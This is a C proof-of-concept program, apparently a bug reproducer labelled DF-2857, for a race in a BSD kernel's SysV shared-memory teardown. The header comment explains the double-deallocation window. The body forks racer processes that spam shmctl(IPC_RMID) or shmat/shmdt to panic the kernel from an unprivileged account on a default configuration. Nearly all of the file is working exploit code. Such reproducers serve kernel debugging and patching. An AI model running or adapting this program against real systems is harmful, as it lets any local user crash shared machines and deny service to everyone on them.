/*
 * DF-2857 — SysV shm teardown-window race: shm_deallocate_segment() keeps
 * the segment findable (shm_perm.mode & SHMSEG_ALLOCATED) for the whole
 * duration of its own blocking teardown (vm_object_deallocate ->
 * vm_object_terminate frees every page, lwkt_user_yield() every 64 pages
 * at sys/vm/vm_object.c:932 forces shm_token release).  A second
 * IPC_RMID for the same shmid (shm_allow_removed=1, the default, makes
 * find_segment_by_shmid return the mid-teardown segment) re-enters
 * shm_deallocate_segment() and calls vm_object_deallocate() on the same
 * object whose ref_count is already 0 ->
 *   panic("vm_object_deallocate: object deallocated too many times")
 * (sys/vm/vm_object.c:690, unconditional).
 *
 * Per iteration:
 *   main:   shmget(IPC_PRIVATE, SEGSIZE, 0600)
 *           shmat + memset (fault all pages in) + shmdt   [nattch == 0]
 *           hand shmid to the racer processes
 *   racers: spam shmctl(shmid, IPC_RMID) until it errors.
 *           The first RMID starts the (long) teardown of the big object;
 *           every subsequent RMID that lands before
 *           shm_deallocate_segment():193 sets SHMSEG_FREE double-deallocs.
 *
 * mode "shmat": racers spam shmat()+shmdt() instead; a shmat landing in
 * the window does vm_object_reference_locked() on the dying object ->
 *   panic("vm_object_terminate(2): object with references")
 *
 * Unprivileged (segment owner; forked racers share the uid).  Default
 * kernel config (kern.ipc.shm_use_phys=1, kern.ipc.shm_allow_removed=1).
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef SEGSIZE
#define SEGSIZE (192UL << 20)	/* 48k pages -> ~768 yield points */
#endif
#ifndef ITERS
#define ITERS 400
#endif
#define NRACERS 2

static const char *mode = "rmid";

static void
racer(int wfd, int rfd)
{
	char buf[32];
	int shmid, n;
	void *va;

	for (;;) {
		n = read(wfd, buf, sizeof(buf) - 1);
		if (n <= 0)
			_exit(0);
		buf[n] = 0;
		shmid = atoi(buf);
		if (shmid < 0)
			_exit(0);
		if (strcmp(mode, "shmat") == 0) {
			for (;;) {
				va = shmat(shmid, NULL, 0);
				if (va == (void *)-1)
					break;
				shmdt(va);
			}
		} else {
			for (;;) {
				if (shmctl(shmid, IPC_RMID, NULL) < 0)
					break;
			}
		}
		if (write(rfd, "D", 1) != 1)
			_exit(0);
	}
}

int
main(int argc, char **argv)
{
	long iters = ITERS, it;
	int shmid, i, n;
	int wpipe[NRACERS][2], rpipe[NRACERS][2];
	pid_t pid;
	char *va, buf[32];

	if (argc > 1)
		mode = argv[1];
	if (argc > 2)
		iters = atol(argv[2]);
	if (argc > 3)
		errno = 0, (void)0;

	fprintf(stderr, "DF-2857 shm teardown-window race: mode=%s "
	    "segsize=%lu iters=%ld racers=%d\n",
	    mode, SEGSIZE, iters, NRACERS);

	for (i = 0; i < NRACERS; i++) {
		if (pipe(wpipe[i]) || pipe(rpipe[i])) {
			perror("pipe");
			exit(1);
		}
		pid = fork();
		if (pid < 0) {
			perror("fork");
			exit(1);
		}
		if (pid == 0) {
			close(wpipe[i][1]);
			close(rpipe[i][0]);
			racer(wpipe[i][0], rpipe[i][1]);
			_exit(0);
		}
		close(wpipe[i][0]);
		close(rpipe[i][1]);
	}

	for (it = 1; it <= iters; it++) {
		shmid = shmget(IPC_PRIVATE, SEGSIZE, 0600);
		if (shmid < 0) {
			fprintf(stderr, "[%ld] shmget: %s\n", it,
			    strerror(errno));
			break;
		}
		va = shmat(shmid, NULL, 0);
		if (va == (void *)-1) {
			fprintf(stderr, "[%ld] shmat: %s\n", it,
			    strerror(errno));
			break;
		}
		memset(va, 0x41, SEGSIZE);
		if (shmdt(va) < 0) {
			fprintf(stderr, "[%ld] shmdt: %s\n", it,
			    strerror(errno));
			break;
		}
		fprintf(stderr, "[%ld] shmid=%d touched+detached, "
		    "racing teardown\n", it, shmid);
		n = snprintf(buf, sizeof(buf), "%d", shmid);
		for (i = 0; i < NRACERS; i++) {
			if (write(wpipe[i][1], buf, n) != n)
				exit(1);
		}
		for (i = 0; i < NRACERS; i++) {
			if (read(rpipe[i][0], buf, 1) != 1)
				exit(1);
		}
		if (shmctl(shmid, IPC_RMID, NULL) == 0)
			fprintf(stderr, "[%ld] NOTE: main had to rmid\n", it);
	}

	fprintf(stderr, "completed %ld iterations without panic\n", it - 1);
	for (i = 0; i < NRACERS; i++)
		close(wpipe[i][1]);
	for (i = 0; i < NRACERS; i++)
		wait(NULL);
	return (0);
}
